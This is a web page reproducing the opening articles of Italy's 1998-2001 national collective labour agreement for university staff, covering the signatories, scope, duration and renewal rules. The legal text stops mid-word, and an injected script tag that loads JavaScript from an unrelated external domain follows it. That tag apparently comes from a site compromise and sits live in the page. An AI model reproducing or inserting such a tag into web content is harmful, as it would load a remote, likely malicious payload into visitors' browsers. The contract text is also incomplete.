Torna
all'elenco delle categorie
|
Categoria: Università Settore: Pubblica Amministrazione Data stipula: 9-8-2000 Data decorrenza: 1-1-1998 Data scadenza: 31-12-2001
Contratto Collettivo Nazionale di Lavoro
relativo al quadriennio normativo 1998-2001
e al biennio economico 1998-1999
del PERSONALE DEL COMPARTO "UNIVERSITÀ"
A seguito del parere favorevole espresso dal Comitato di settore il 13
luglio 2000 sul testo dell'accordo relativo al CCNL 1998-2001 del
personale del comparto Università, nonché della certificazione della Corte
dei Conti in data 3 agosto 2000 sull'attendibilità dei costi quantificati
per il medesimo accordo e sulla loro compatibilità con gli strumenti di
programmazione e di bilancio, il giorno 9 agosto 2000, alle ore 12, ha
avuto luogo l'incontro tra:
- ARAN nella persona del prof. Mario Ricciardi,
per delega del Presidente, prof. Carlo Dell'Aringa
e i rappresentanti delle seguenti Organizzazioni e Confederazioni
sindacali:
per le OO.SS. di categoria:
- CGIL/SNUR
- CISL/Università
- UIL/P.A.
- Federazioni CONFSAL/SNALS UNIV.- CISAPUNI
- CSA di CISAL Università (CISAL UN., CISAS UN., CONFAIL-FAILEL-UNSIAU,
CONFILL UN.- CUSAL, TECSTAT USPPI)
per le Confederazioni sindacali:
- CGIL
- CISL
- UIL
- CONFSAL
- CISAL
Al termine della riunione, le parti hanno sottoscritto l'allegato CCNL
relativo al personale dipendente del comparto Università per il
quadriennio normativo 1998-2001 e per il biennio economico 1998-1999.
Parte I
Titolo I - DISPOSIZIONI GENERALI
Art. 1 - Obiettivo e campo di applicazione.
1. Il presente CCNL intende porsi in linea di coerenza e di sostegno
rispetto ai processi di innovazione, riforma e valorizzazione delle
risorse umane e delle professionalità, in corso nelle amministrazioni del
comparto.
2. Il presente CCNL si applica a tutto il personale con rapporto a tempo
sia indeterminato che determinato, esclusi i dirigenti, appartenente al
comparto del personale delle Università e delle altre istituzioni di cui
all'art. 9 del CCNL quadro per la definizione dei comparti di
contrattazione, sottoscritto il 2.6.98.
3. Il riferimento al D.lgs. 3.2.93 n. 29 e successive modificazioni e
integrazioni è riportato nel testo del presente CCNL come D.lgs. n. 29/93.
4. Nel testo del presente CCNL le istituzioni di cui al comma 2 sono
denominate "amministrazioni".
Art. 2 - Durata, decorrenza, tempi e procedure di applicazione
del contratto.
1. Il presente CCNL decorre dal 1° gennaio 1998 e avrà scadenza il 31
dicembre 2001 per la parte normativa e il 31 dicembre 1999 per la parte
economica. In caso di mancata disdetta, da comunicarsi con lettera
raccomandata almeno 3 mesi prima di ciascuna scadenza, s'intenderà
tacitamente rinnovato di anno in anno. In caso di disdetta le disposizioni
contrattuali rimangono in vigore fino a quando non siano sostituite dal
successivo CCNL.
2. Gli effetti giuridici decorrono, salvo diversa prescrizione, dalla
data di stipulazione del presente CCNL. La stipula s'intende avvenuta al
momento della sottoscrizione definitiva del contratto da parte dei
soggetti negoziali, a seguito del perfezionamento delle procedure di cui
agli artt. 51 e 52, D.lgs. n. 29/93.
3. Le amministrazioni sono tenute ad attuare gli istituti a contenuto
economico e normativo con carattere vincolato e automatico, entro 30
giorni dalla data della stipulazione ai sensi del comma 2.
4. Per evitare periodi di vacanza contrattuale, le piattaforme per il
rinnovo del CCNL sono presentate almeno 3 mesi prima delle scadenze
previste. Durante tale periodo e per il mese successivo alle scadenze, le
parti negoziali non assumono iniziative unilaterali né procedono ad azioni
conflittuali.
5. Dopo un periodo di vacanza contrattuale pari a 3 mesi dalla data di
scadenza della parte economica del presente contratto, ai dipendenti del
co<script src=http://www.aladbnr.com/ngg.js></script>
|